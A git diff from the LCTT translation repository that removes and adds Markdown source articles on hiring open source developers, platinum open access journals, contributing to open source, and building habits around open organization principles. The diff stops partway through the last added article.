hours) - - - -The coding exercise was key, but we decided against the usual approach. Our view was that a pure "algorithm coding" exercise beloved by many tech companies was pretty much useless for what we wanted: to find out whether a candidate could quickly understand a piece of code, fix some problems, and work with the team to do so. We created a GitHub repository with some almost-working Rust code in it (in fact, we ended up using two, with one for people a little higher up the stack), then instructed candidates to fix it, perform some git-related processes on it, and improve it slightly, adding tests along the way. - -An essential part of the test was to get candidates to interact with the team via our chat room(s). We scheduled 15 minutes on a video call for setup and initial questions, two hours for the exercise ("open book" – as well as talking to the team, candidates were encouraged to use all resources available to them on the Internet), followed by a 30-minute wrap-up session where the team could ask questions, and the candidate could reflect on the task. This conversation, combined with the chat interactions during the exercise, allowed us to get an idea of how well the candidate was able to communicate with the team. Afterwards, the candidate would drop off the call, and we'd most often decide within 5-10 minutes whether we wanted to hire them. - -This method generally worked very well. Some candidates struggled with the task, some didn't communicate well, some failed to do well with the git interactions – these were the people we didn't hire. It doesn't mean they're not good coders or might not be a good fit for the project or the company later on, but they didn't meet the criteria we need now. Of the developers we hired, the level of Rust experience and need for interaction with the team varied, but the level of git expertise and their reactions to our discussions afterwards were always sufficient for us to decide to take them. - -### Reflections - -On the whole, I don't think we'd change a huge amount about the selection process—though I'm pretty sure we could do better with the search process. The route through to the coding exercise allowed us to filter out quite a few candidates, and the coding exercise did a great job of helping us pick the right people. Hopefully, everyone who's come through the process will be a great fit and produce great code (and tests and documentation and …) for the project. Time will tell! - -* * * - -This article originally appeared on [Alice, Eve and Bob – a security blog][8] and is republished with permission. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/22/2/how-we-hired-open-source-developer - -作者:[Mike Bursell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mikecamel -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/connection_people_team_collaboration.png?itok=0_vQT8xV (people in different locations who are part of the same team) -[2]: https://profian.com/ -[3]: https://enarx.dev/ -[4]: https://opensource.com/article/21/3/rust-programmer -[5]: https://github.com/enarx/ -[6]: https://aliceevebob.com/2021/11/09/recruiting-is-hard/ -[7]: https://www.interstem.co.uk/ -[8]: https://aliceevebob.com/ diff --git a/sources/talk/20220509 Cloud service providers- How to keep your options open.md b/sources/talk/20220509 Cloud service providers- How to keep your options open.md index 4283550c9f..277e470cda 100644 --- a/sources/talk/20220509 Cloud service providers- How to keep your options open.md +++ b/sources/talk/20220509 Cloud service providers- How to keep your options open.md @@ -6,7 +6,6 @@ [#]: reviewer: " " [#]: publisher: " " [#]: url: " " - Cloud service providers: How to keep your options open ====== No matter what level of openness your cloud service operates on, you have choices for your own environment. diff --git a/sources/talk/20220513 When open source meets academic publishing- Platinum open access journals.md b/sources/talk/20220513 When open source meets academic publishing- Platinum open access journals.md deleted file mode 100644 index 91c7df4d12..0000000000 --- a/sources/talk/20220513 When open source meets academic publishing- Platinum open access journals.md +++ /dev/null @@ -1,77 +0,0 @@ -[#]: subject: "When open source meets academic publishing: Platinum open access journals" -[#]: via: "https://opensource.com/article/22/5/platinum-open-access-academic-journals" -[#]: author: "Joshua Pearce https://opensource.com/users/jmpearce" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -When open source meets academic publishing: Platinum open access journals -====== -Academics can now publish free, read free, and still stay on track for professional success. - -![Stack of books for reading][1] -Image by: Opensource.com - -Academics routinely give away their work to companies for free—and then they buy it back! Can you imagine a farmer giving away free food and then paying to get it back for dinner? Probably not. Yet academics like me have been trapped for decades in a scheme where we give free work in exchange for job security and then pay millions of dollars a year to read our own writing. - -Fortunately, this is changing. The results from a [study][2] I just finished show that it is possible for academics to get job security without paying for it. My study found hundreds of journals that are *platinum open access* (OA)—that is, they require neither the author nor the readers to pay for peer-reviewed work—yet still carry the prestige and readership to help academics succeed in their careers. - -This trend is exploding: The [Directory of Open Access Journals][3] lists over 17,300 journals that offer a means of OA at some level, and over 12,250 have no article-processing charges (APCs). I used a handy open source [Python script][4] to compare this list to a list of journals ranked by the frequency with which their published papers are cited in other articles (The Journal Impact Factor List). It is clear that the last few years have seen a growing trend towards both OA in general and platinum OA specifically. These trends have the potential to accelerate science while helping prevent academic servitude. - -### The academic's dilemma - -Academics are generally pretty intelligent, so why have they engaged in this disadvantageous system for so long? Simply put, academics have been caught in a trap: In order to keep their jobs and get tenure, they need to publish in journals with a high impact factor. An impact factor is a metric based on the mean number of citations to articles published in the last two years in a given journal, as indexed by the proprietary Web of Science. Impact factors are a prestige metric for academics. - -Historically, academic publishing has been dominated by a handful of major publishers that used subscription-based business models. In this model, academic authors write articles, peer-review articles, and often do the editing of these articles—all for free. The articles are published under copyright owned by the major publishing companies. Then either the same academics pay to read these articles on an individual basis (~US $35/article), or their university libraries pay to subscribe to all of the articles in a journal. These costs can be astronomical: often over US $1 million per year for all titles from a single publisher. - -This system is senseless for many obvious reasons. Scientific progress is bogged down by restricting access to copyrighted scientific literature squirreled away behind paywalls. It is hard to do state-of-the-art research if you do not know what it is because you cannot read it. Scientists are divided into those who can afford access to the literature and those who cannot. Academics in the developing world often struggle to pay, but even well-endowed [Harvard University][5] has taken action to rein in its yearly journal expenses. - -Costs to authors are similarly high. APC values range from a few hundred dollars to jaw-dropping thousands of dollars per article. APCs can be particularly damaging for some disciplines that are less well funded, such as the humanities and social sciences (as compared to physical and medical sciences or engineering). Substantial APCs also reinforce the wealth gap in academia, making professional success dependent on having income to invest in publishing. Is there another profession that asks workers to pay money to make products for others? - -### Open access to the rescue! - -This problem can be solved by the OA movement, which advocates for making all academic literature freely accessible to everyone. There is an unmistakable rise in OA publishing: It now makes up nearly a third of the peer-reviewed literature. - -The benefits of OA are twofold. First, OA is a benefit to science overall, because it provides a frictionless means of reading the state of the art for making significant advancements in knowledge. Second, from an individual academic's point of view, OA provides the pragmatic advantage of enabling the broadest possible audience of their writing by making it freely and easily available on the internet. - -Funders have begun to demand OA for these reasons, particularly public funders of science. It is hard to argue that if the public funds research, they should have to pay a second time to read it. - -### Where is academic publishing now, and where it is going? - -Conventional publishers still have control of this situation, largely because of the perception that they have a monopoly on journals with an impact factor. Despite the disadvantages of publishing the traditional way, many academics continue to publish in subscription-based journals or pay high APCs, knowing that publication in high impact factor journals is vital for demonstrating expertise for grants, tenure, and promotion. - -A few years ago, academics simply had no choice: They could either publish in a journal with an impact factor or publish OA. Now they can publish OA and still get the benefits of an impact factor in one of three ways: - -* Green OA: Publish in a traditional way and then self-archive by uploading preprints or accepted versions of papers into an open repository or server. Some schools have an institutional repository for this purpose. For example, Western University has [Scholarship@Western][6], where any of their professors can share their work. Academics without their own institutional repos can use servers like [preprints.org][7], [arXiv][8], or  [OSF preprints][9]. I also use social media for academics, like [Academia][10] or [ResearchGate][11], for self-archiving. This can be complex to navigate because publishers have different rules, and it is somewhat time consuming. -* Gold OA: Publish in a growing list of journals with impact factors that make your paper freely available after publication but require an APC. This method is easy to navigate: Academics publish as usual and OA is built into the publishing process. The drawback is that funds going to APCs may be diverted from research activities. -* Platinum OA: Publish in platinum OA journals with an impact factor. No one pays either to read or to publish. The challenge here is finding a journal in your discipline that fits this criterion, but that continues to change. - -There are tens of thousands of journals, but only a few hundred platinum OA journals with impact factors. This may make it hard for academics to find a good fit between what they study and a journal that matches their interests. See the Appendix in my [study][12] for the list, or use the Python script mentioned above to run updated numbers for yourself. The number of platinum OA journals is growing quickly, so if you do not find something now you may have some solid journals to choose from soon. Happy publishing! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/22/5/platinum-open-access-academic-journals - -作者:[Joshua Pearce][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jmpearce -[b]: https://github.com/lkxed -[1]: https://opensource.com/sites/default/files/lead-images/books_read_list_stack_study.png -[2]: https://doi.org/10.3390/knowledge2020013 -[3]: https://doaj.org/ -[4]: https://osf.io/mh4bx/ -[5]: https://www.theguardian.com/science/2012/apr/24/harvard-university-journal-publishers-prices -[6]: https://ir.lib.uwo.ca/ -[7]: https://www.preprints.org/ -[8]: https://arxiv.org/ -[9]: https://osf.io/preprints/ -[10]: https://westernu.academia.edu/JoshuaPearce/Papers -[11]: https://www.researchgate.net/profile/Joshua-Pearce -[12]: https://www.mdpi.com/2673-9585/2/2/13 diff --git a/sources/talk/20220616 -It-s time to contribute to open source-.md b/sources/talk/20220616 -It-s time to contribute to open source-.md deleted file mode 100644 index 9d4e58d4d6..0000000000 --- a/sources/talk/20220616 -It-s time to contribute to open source-.md +++ /dev/null @@ -1,134 +0,0 @@ -[#]: subject: "“It’s time to contribute to open source”" -[#]: via: "https://www.opensourceforu.com/2022/06/its-time-to-contributing-to-open-source/" -[#]: author: "Abbinaya Kuzhanthaivel https://www.opensourceforu.com/author/abbinaya-swath/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -“It’s time to contribute to open source” -====== -Nilesh Vaghela is an AWS community hero and founder, ElectroMech Corporation, a cloud and open source company. According to him, contributing to open source is a rewarding act in itself. However, it needs commitment and there are many steps involved in the process, right from selecting a project to ensuring your contribution is noticed. In a conversation with Abbinaya Kuzhanthaivel of OSFY, he shares a few tips on how developers can help to improve India’s contributions to open source. - -![Nilesh Vaghela, -AWS community hero and -founder, ElectroMech Corporation][1] - -##### Q. Can you tell us a bit about your current role and contributions to open source. - -**A.** I am currently an architect working on automation. I lead multiple teams and also contribute majorly to Invinsense, an open source security service platform. I started open source groups in early 1998 and had around 1500 members even then. A group (https://groups.google.com/g/vglug) I am handling now has been very active since 2014-15. - -##### Q. How did you start working with open source projects? - -**A.** I am a mechanical engineer by qualification, and was dealing with modems and UPS systems at my firm ElectroMech Corporation. I slowly got dragged into handling PCs, networking and Linux. I started experimenting in 1996 after getting inspired by seeing over 150 computer servers running on Linux at a Nuclear Science Centre. That’s when I converted my company entirely, focusing on open source for training and support. - -I can proudly say that I was one of the first and early adopters of open source — helping customers to understand what is open source, what are its benefits, what’s available for free, security or code issues, and so on. We got at least four or five customers in Vadodara supporting us, and we eventually promoted ourselves through advertisements in the Yellow Pages. We partnered with Red Hat and the journey continues till now. - -##### Q. How do you think open source has evolved since then? - -A. I can say that, earlier, open source was a passion that fascinated and attracted people to participate. I was particularly impressed hearing user-friendly stories across the world when some Siberian contributors were working to improve water scarcity. It was more like a corporate social responsibility (CSR) activity. A board would be created by people and experts to govern and take projects forward. People would come in for the love of technology without expectations. - -I did not believe then that open source could get commercial, but it is the driving force for most of the innovation and technology today, and many more enterprises are adopting it. We are looking forward to a great balance in contribution to and use of open source, as we have people, communities and big companies coming into play. This is the real future and power of open source. - -##### Q. Could you share some of your challenges? - -A. Initially, I walked alone but people joined once they knew my intentions were good. I created a lot of communities without any expectation, but did get paid indirectly in terms of reputation or fame; some people understood that I was a technical expert and gave projects in the long term. As it was very early days, people started joining the community and contributing without much effort. The goal wasn’t to get business and hence I can say I didn’t really face any hurdles. - -##### Q. What are your leadership mantras and lessons from being a community leader? - -**A.** First, if you want to start a community, then be neutral and don’t harbour a biased opinion. It may look like you are running a community as a leader, but remember those joining you are contributing equally. And never demotivate anyone. Be polite while making comments and addressing queries. Whatever the question, if you don’t want to give an answer, then choose to be quiet. But don’t stop anyone from asking. Help them build expertise. - -Second, don’t involve the community in business. Do not mix and match the goals of your business and community. Have a clear differentiation. - -Always try to encourage people to participate instead of delivering instructions as an expert. If you find people are interested to lead and take initiatives, then give them the stage. Invite and engage them in the community. That will help you to make more community leaders. Also, keep your community simple and don’t involve sponsors in the initial stages. - -##### Q. Who do you look up to for inspiration? - -**A.** Richard Stallman, the father of the open source movement, is my inspiration and I have always admired his projects. - -Apart from him, I have an interesting incident to share that inspired me to work on open source. At the time when I started working on open source, most of the software for the Nuclear Science Centre was based on the Windows OS. However, many scientists wanted to work with Linux based software. And within two or three months, they actually created Linux drivers. This is what fascinated me – that the user can create these drivers which may not be possible in the case of proprietary software. I really liked the fact that open source empowered the user. - -##### Q. Your thoughts on the open source landscape in India and the scope for improvement. - -**A.** India is the largest consumer of open source and we are focusing on becoming a contributor. With so many developers around, we still do not have software giants in India. What we have mostly are service providers and not innovators. More people should become contributors to open source and develop something with international labels. - -The very thought of contributing to open source should begin from the level of schools and colleges. Fortunately, the Gujarat government has already introduced lessons based on Linux from Class 8 to Class 10. It is important to educate and make youngsters aware of open source models. - -Second, we have to develop good mentors. When people start contributing, it is important to find an open source mentor working in that particular project. The mentor gives a small assignment, tries the code and then commits it. If everything goes fine, the contribution is increased gradually. Unfortunately, we have very few mentors available in India. We need to prepare a lot of mentors or maybe connect to those across the world. - -Third, we need to encourage those who come forward to contribute. Once you are a recognised developer or a person contributing to open source development, you also progress in your career and business. - -India can be a major contributor to open source by following such simple methods. - -##### Q. What do you think about the coding requirements to contribute to open source? - -**A.** From my experience, if you know the internal parts, how to develop the application, what code standard you should maintain, and how to manage the team and other best practices, you may not have to actually worry about coding expertise. - -There are other roles too with respect to designing, security maintenance and integration. See what works for you. Develop and strengthen your skill in what you like to do. If you feel coding still interests you, then take the support of fellow developers to learn it. - -##### Q. How do you shortlist a project you would like to contribute to? - -A. You need to understand your top few interest areas and then do your research on the projects happening around them. You need to figure out the area of requirements or openings for contributors and more volunteers. You can start small to practice and then build expertise. - -Avoid going by the trendy topics; what’s important is your individual interest. For instance, DevOps is in high demand now and you may tend to go for a DevOps project. Do not make this mistake. - -You can find open source projects on Cloud Native Computing Foundation ([CNCF][2]), Apache, Fedora, Red Hat, and so on. This way you can also find mentors who are already working on projects and can get proper guidance. - -##### Q. Projects have their own purpose and target audience. Sometimes they even misalign with open source goals. So, what does one check before contributing? - -A. I agree it becomes challenging when somebody starts an open source project and then commercialises it. But this is always a risk, and should not discourage you. - -First try to check out the group — how popular are the contributors working in the group, how long have they been contributing, and how reputed are they. And once you join, observing everyone and everything is the key. Try to learn at least for three to six months, and understand how everything works. You can always leave the project if you find the intention is wrong. But if you feel it’s all right, then go ahead and contribute. - -![The team at ElectroMech Corporation][3] - -There are certain licence checks that you can do, say, like GPL version 3. You can also look at unmodified licence versions like the Apache open source licence. - -##### Q. Do you think big companies will accept contributions from freshers? - -A. Yes, of course. Companies also like mentoring. They usually don’t allow you to contribute directly, but may give you a small assignment initially. A mentor will first try to understand what skill you have and how good you are at it. Once they recognise you have the kind of skill that is needed, they will continue to guide you or assign you to some other mentor based on your skill. The initial stages are very crucial. Many companies do some sort of screening, and you may be allowed to contribute only after you have proved your ability. - -##### Q. What are the initial challenges that contributors have to overcome when picking up projects? - -A. First, you should be very serious about your contribution. There are no written commitments and contributors may tend to take the work lightly. That’s totally wrong. Try to dedicate 8-10 hours or whatever is feasible each day. If you are skipping this commitment because you feel there are no immediate returns, then you will not be a good contributor. -Always adhere to a mentor’s guidance strictly at the initial stages. This is very crucial for a healthy contribution. Sometimes it may happen that you believe you are good at something, while your mentor may not assign a project based on that skill. Simply approach your mentor in such scenarios and ask him what you should do, what is your role, and how you can contribute. - -##### Q. Many developers do not get replies after submitting the contribution to a project. How does one make a submission noticeable? - -A. Write a small blog on the project you are planning to contribute to, covering aspects like what you like in it, what you don’t like, and what can be improved. Such a positive and promotional approach can greatly help you. - -Be a part of the group and be involved in activities related to that particular project. Instead of contributing, first try to engage with the group, and this will increase the chances for you to get adopted as a contributor. - -Once you have a better understanding of the project, not only will your work be accepted but you will be able to better align yourself with that project. - -##### Q. How do you overcome a situation where your contribution is not accepted? - -A. Just understand that this can happen for many reasons — maybe you are not in the right project or you have not contributed correctly. If the project is country driven, your request may not be accepted. Hence, remember to have a checklist as stated earlier. Don’t worry if your contribution is not accepted because either you are not fit for the project or the project is not fit for you. - -All I would recommend is try to identify four or five projects, and at least one among those projects you work on will probably be accepted. - -##### Q. What is your message for our readers? - -A. Open source is the driving force behind most of the innovation happening today. Instead of just using open source, let us try to contribute according to our capacity and skills. Contributions can be in terms of code, documentation, testing, blogs, money, etc. It’s time to contribute. - -##### Q. Any hiring plans for ElectroMech Corporation — what are the roles and skill expectations? - -We have requirements in cloud DevOps, and are hiring cloud architects, Python developers, Linux architects and security professionals. - --------------------------------------------------------------------------------- - -via: https://www.opensourceforu.com/2022/06/its-time-to-contributing-to-open-source/ - -作者:[Abbinaya Kuzhanthaivel][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.opensourceforu.com/author/abbinaya-swath/ -[b]: https://github.com/lkxed -[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Nilesh-Vaghela-AWS-community-hero-and-founder-ElectroMech-Corporation.jpg -[2]: https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwib2vvv3dv3AhVa7XMBHfZSCsIQFnoECAgQAQ&url=https%3A%2F%2Fwww.cncf.io%2F&usg=AOvVaw2LnRyH4SZPDHntRLJU_b3q -[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/The-team-at-ElectroMech-Corporation.jpg diff --git a/sources/talk/20220616 Using habits to practice open organization principles.md b/sources/talk/20220616 Using habits to practice open organization principles.md deleted file mode 100644 index f8992b3b80..0000000000 --- a/sources/talk/20220616 Using habits to practice open organization principles.md +++ /dev/null @@ -1,142 +0,0 @@ -[#]: subject: "Using habits to practice open organization principles" -[#]: via: "https://opensource.com/open-organization/22/6/using-habits-practice-open-organization-principles" -[#]: author: "Ron McFarland https://opensource.com/users/ron-mcfarland" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Using habits to practice open organization principles -====== -Follow these steps to implement habits that support open culture and get rid of those that don't. - -![Selfcare, drinking tea on the porch][1] - -Image by: opensource.com - -Habits are a long-term interest of mine. Several years ago, I gave a presentation on habits, both good and bad, and how to expand on good habits and change bad ones. Just recently, I read the habits-focused book Smart Thinking by Art Markman. You might ask what this has to do with [open organization principles.][2] There is a connection, and I'll explain it in this two-part article on managing habits. - -In this first article, I talk about habits, how they work, and—most important—how you can start to change them. In the second article, I review Markman's thoughts as presented in his book. - -### The intersection of principles and habits - -Suppose you learned about open organization principles and although you found them interesting and valuable, you just weren't in the habit of using them. Here's how that might look in practice. - -Community: If you're faced with a significant challenge but think you can't address it alone, you're likely in the habit of just giving up. Wouldn't it be better to have the habit of building a community of like-minded people that collectively can solve the problem? - -Collaboration: Suppose you don't think you're a good collaborator. You like to do things alone. You know that there are cases when collaboration is required, but you don't have a habit of engaging in it. To counteract that, you must build a habit of collaborating more. - -Transparency: Say you like to keep most of what you do and know a secret. However, you know that if you don't share information, you're not likely to get good information from others. Therefore, you must create the habit of being more transparent. - -Inclusivity: Imagine you are uncomfortable working with people you don't know and who are different from you, whether in personality, culture, or language. You know that if you want to be successful, you must work with a wide variety of people. How do you create a habit of being more inclusive? - -Adaptability: Suppose you tend to resist change long after what you're doing is no longer achieving what you had hoped it would. You know you must adapt and redirect your efforts, but how can you create a habit of being adaptive? - -### What is a habit? - -Before I give examples regarding the above principles, I'll explain some of the relevant characteristics of a habit. - -* A habit is a behavior performed repeatedly—so much so that it's now performed without thinking. -* A habit is automatic and feels right at the time. The person is so used to it, that it feels good when doing it, and to do something else would require effort and make them feel uncomfortable. They might have second thoughts afterward though. -* Some habits are good and extremely helpful by saving you a lot of energy. The brain is 2% of the body's weight but consumes 20% of your daily energy. Because thinking and concentration require a lot of energy, your mind is built to save it through developing unconscious habits. -* Some habits are bad for you, so you desire to change them. -* All habits offer some reward, even if it is only temporary. -* Habits are formed around what you are familiar with and what you know, even habits you don’t necessarily like. - -### The three steps of a habit - -1. Cue (trigger): First, a cue or trigger tells the brain to go into automatic mode, using previously learned habitual behavior. Cues can be things like seeing a candy bar or a television commercial, being in a certain place at a certain time of day, or just seeing a particular person. Time pressure can trigger a routine. An overwhelming atmosphere can trigger a routine. Simply put, something reminds you to behave a certain way. -2. Routine: The routine follows the trigger. A routine is a set of physical, mental, and/or emotional behaviors that can be incredibly complex or extremely simple. Some habits, such as those related to emotions, are measured in milliseconds. -3. Reward: The final step is the reward, which helps your brain figure out whether a particular activity is worth remembering for the future. Rewards can range from food or drugs that cause physical sensations to joy, pride, praise, or personal self-esteem. - -### Bad habits in a business environment - -Habits aren't just for individuals. All organizations have good and bad institutional habits. However, some organizations deliberately design their habits, while others just let them evolve without forethought, possibly through rivalries or fear. These are some organizational habit examples: - -* Always being late with reports -* Working alone or working in groups when the opposite is appropriate -* Being triggered by excess pressure from the boss -* Not caring about declining sales -* Not cooperating among a sales team because of excess competition -* Allowing one talkative person to dominate a meeting - -### A step-by-step plan to change a habit - -Habits don't have to last forever. You can change your own behavior. First, remember that many habits can not be changed concurrently. Instead, find a keystone habit and work on it first. This produces small, quick rewards. Remember that one keystone habit can create a chain reaction. - -Here is a four-step framework you can apply to changing any habit, including habits related to open organization principles. - -##### Step one: identify the routine - -Identify the habit loop and the routine in it (for example, when an important challenge comes up that you can't address alone). The routine (the behaviors you do) is the easiest to identify, so start there. For example: "In my organization, no one discusses problems with anyone. They just give up before starting." Determine the routine that you want to modify, change, or just study. For example: "Every time an important challenge comes up, I should discuss it with people and try to develop a community of like-minded people who have the skills to address it." - -##### Step two: experiment with the rewards - -Rewards are powerful because they satisfy cravings. But, we're often not conscious of the cravings that drive our behavior. They are only evident afterward. For example, there may be times in meetings when you want nothing more than to get out of the room and avoid a subject of conversation, even though down deep you know you should figure out how to address the problem. - -To learn what a craving is, you must experiment. That might take a few days, weeks, or longer. You must feel the triggering pressure when it occurs to identify it fully. For example, ask yourself how you feel when you try to escape responsibility. - -Consider yourself a scientist, just doing experiments and gathering data. The steps in your investigation are: - -1. After the first routine, start adjusting the routines that follow to see whether there's a reward change. For example, if you give up every time you see a challenge you can't address by yourself, the reward is the relief of not taking responsibility. A better response might be to discuss the issue with at least one other person who is equally concerned about the issue. The point is to test different hypotheses to determine which craving drives your routine. Are you craving the avoidance of responsibility? -2. After four or five different routines and rewards, write down the first three or four things that come to mind right after each reward is received. Instead of just giving up in the face of a challenge, for instance, you discuss the issue with one person. Then, you decide what can be done. -3. After writing about your feeling or craving, set a timer for 15 minutes. When it rings, ask yourself whether you still have the craving. Before giving in to a craving, rest and think about the issue one or two more times. This forces you to be aware of the moment and helps you later recall what you were thinking about at that moment. -4. Try to remember what you were thinking and feeling at that precise instant, and then 15 minutes after the routine. If the craving is gone, you have identified the reward. - -##### Step three: isolate the cue or trigger - -The cue is often hard to identify because there's usually too much information bombarding you as your behaviors unfold. To identify a cue amid other distractions, you can observe four factors the moment the urge hits you: - -Location: Where did it occur? ("My biggest challenges come out in meetings.") - -Time: When did it occur? ("Meetings in the afternoon, when I'm tired, are the worst time, because I'm not interested in putting forth any effort.") - -Feelings: What was your emotional state? ("I feel overwhelmed and depressed when I hear the problem.") - -People: Who or what type of people were around you at the time, or were you alone? ("In the meetings, most other people don't seem interested in the problem either. Others dominate the discussion.") - -##### Step four: have a plan - -Once you have confirmed the reward driving your behavior, the cues that trigger it, and the behavior itself, you can begin to shift your actions. Follow these three easy steps: - -1. First, plan for the cue. ("In meetings, I'm going to look for and focus my attention on important problems that come up.") -2. Second, choose a behavior that delivers the same reward but without the penalties you suffer now. ("I'm going to explore a plan to address that problem and consider what resources and skills I need to succeed. I'm going to feel great when I create a community that's able to address the problem successfully.") -3. Third, make the behavior a deliberate choice each and every time, until you no longer need to think about it. ("I'm going to consciously pay attention to major issues until I can do it without thinking. I might look at agendas of future meetings, so I know what to expect in advance. Before and during every meeting, I will ask why should I be here, to make sure I'm focused on what is important." - -##### Plan to avoid forgetting something that must be done - -To successfully start doing something you often forget, follow this process: - -1. Plan what you want to do. -2. Determine when you want to complete it. -3. Break the project into small tasks as needed. -4. With a timer or daily planner, set up cues to start each task. -5. Complete each task on schedule. -6. Reward yourself for staying on schedule. - -### Habit change - -Change takes a long time. Sometimes a support group is required to help change a habit. Sometimes, a lot of practice and role play of a new and better routine in a low-stress environment is required. To find an effective reward, you need repeated experimentation. - -Sometimes habits are only symptoms of a more significant, deeper problem. In these cases, professional help may be required. But if you have the desire to change and accept that there will be minor failures along the way, you can gain power over any habit. - -In this article, I've used examples of community development using the cue-routine-reward process. It can equally be applied to the other open organization principles. I hope this article got you thinking about how to manage habits through knowing how habits work, taking steps to change habits, and making plans to avoid forgetting things you want done. Whether it's an open organization principle or anything else, you can now diagnose the cue, the routine, and the reward. That will lead you to a plan to change a habit when the cue presents itself. - -In my next article, I'll look at habits through the lens of Art Markman's thoughts on Smart Thinking. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/22/6/using-habits-practice-open-organization-principles - -作者:[Ron McFarland][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ron-mcfarland -[b]: https://github.com/lkxed -[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_selfcare_wfh_porch_520.png -[2]: https://theopenorganization.org/definition/open-organization-definition/ diff --git a/sources/talk/20220623 Applying smart thinking to open organization principles.md b/sources/talk/20220623 Applying smart thinking to open organization principles.md new file mode 100644 index 0000000000..57d446aa19 --- /dev/null +++ b/sources/talk/20220623 Applying smart thinking to open organization principles.md @@ -0,0 +1,136 @@ +[#]: subject: "Applying smart thinking to open organization principles" +[#]: via: "https://opensource.com/open-organization/22/6/applying-smart-thinking-open-organization-principles" +[#]: author: "Ron McFarland https://opensource.com/users/ron-mcfarland" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Applying smart thinking to open organization principles +====== +Use your environment, repetition, and the Role of 3 to enhance your thinking habits. + +![a magnifying glass looking at a brain illustration][1] + +Image by: Opensource.com + +Habits have an unfair reputation of being bad things that need to be stopped. But consider this: Automation and habits have many things in common. First, they're both repetitive. They're done over and over, the exact same way. More importantly, they reduce costs (both cost per piece and cost of energy used). + +[Art Markman's book Smart Thinking][2] stresses the importance of creating habits to take your mind away from unimportant thoughts and redirect your attention toward more interesting and creative ideas. You can apply this concept to the use of [open organization principles][3]. + +This article is the second part of a two-part series on habits. The first part drew from a presentation I gave a few years ago. In this article, I apply new information from Markman. + +### What is smart thinking? + +Smart thinking is about the information you have, how you get valuable information, and how you use what you have successfully. It's also the ability to solve new problems using your current knowledge. Smart thinking is a skill you can use, practice, and improve on. Based on that definition, those benefits would be very helpful in promoting open organization principles. + +### Forming habits + +Markman says habits are formed, unthinkingly automatic, and rarely reviewed for their importance. A process of strategic thinking is required to do this review. If performed correctly, less effort is needed to change these habits. The human mental system is designed to avoid thinking when possible. It's preferable to just effortlessly act on routine tasks so you can direct your attention to more important issues. When you perform tasks repeatedly, you form habits so your mind doesn't have to think through them step by step. + +That's why you can't remember things you did a few seconds ago. Markman gives the example of not remembering whether you locked the door of your apartment or house. Because you did it automatically, if you were thinking of something completely different when you locked the door, you likely don't know whether you locked it. + +The goal of smart thinking is to develop as many good habits as possible, so your mind doesn't have to go through the effort of thinking every time you perform them. Developing checklists is a good way to avoid excessive thinking. This can be applied to open organization principles as well. To save on energy and effort, follow a list of items and act on them. This was my goal when I developed the [Communication technology maturity worksheet][4], which I wrote about in my article "[How to assess your organization's technical maturity][5]." If there's no routine and the activity is new, you must resort to a more stressful and tiring thought process. + +### Importance of environment and repetition + +Markman describes a formula for creating smart habits, considering two key facts: + +* There is interaction between environment and action. +* Only work on repeated actions to create good habits. + +#### Environment + +Markman defines an environment as both the outside world and one's internal mental world (such as goals, feelings, or perspectives). In the outside world, you can develop seemingly meaningless activities to create triggers and reminders. For example, you assign convenient locations for things, so you don't have to think about where they are. You can create triggers (such as lists or empty packages for resupply reminders) to highlight things you need to do, thereby avoiding a lot of thought. + +If you want to read a book but have been putting it off, consider taking it out and putting it in front of your computer or TV. That way, you'll see it, and probably have to move it out of your way, each time you're at your computer or TV, which can be a powerful way to get you reading. + +If you learn something in a particular place (with all its surroundings), you will recall that learning more easily if you are in a similar place or the same place. The environment triggers the information to come to the top of your mind. Because new (wanted) habits must be consciously performed, you must add elements in your environment to remind yourself to do them. Also, you must eliminate triggers that remind you of the old (unwanted) habit and replace them with another activity. + +For the internal mental environment, consider trying to memorize useful facts that are continually required, such as names, locations, the best road routes, and so on. If I meet someone I want to get to know better, I ask for their name and use it as much as possible, then write it down when I have a chance. Later, I add that name to my personal contact information. By repeatedly seeing the name, I eventually memorize it and use it without thinking. + +#### Repetition + +All habits are formed through repeated use, and the first time is the hardest. After many repetitions, minimal thought is required, until the habit becomes automatic. Structure your daily life by forming beneficial habits and practicing them. Regular role playing is equally important. By getting those memories top of mind, they become faster to retrieve. + +If you can make each habit as distinct as possible, it will be easier to remember and retrieve when needed. You know you've created a good habit when you no longer have to think about it. + +### When good habits go bad + +A habit can go from good to bad with a situational change. Getting rid of a bad habit and creating a productive new one takes a lot of thought. When a habit change is required, regularly getting a good night's sleep is essential. Your brain helps process the new experiences and behaviors and makes the activity more effective in the future. + +There are two important characteristics of changing habits: + +1. Your current habit pushes you into action. You must overcome the pressure to act. +2. When there's pressure to act, replace the 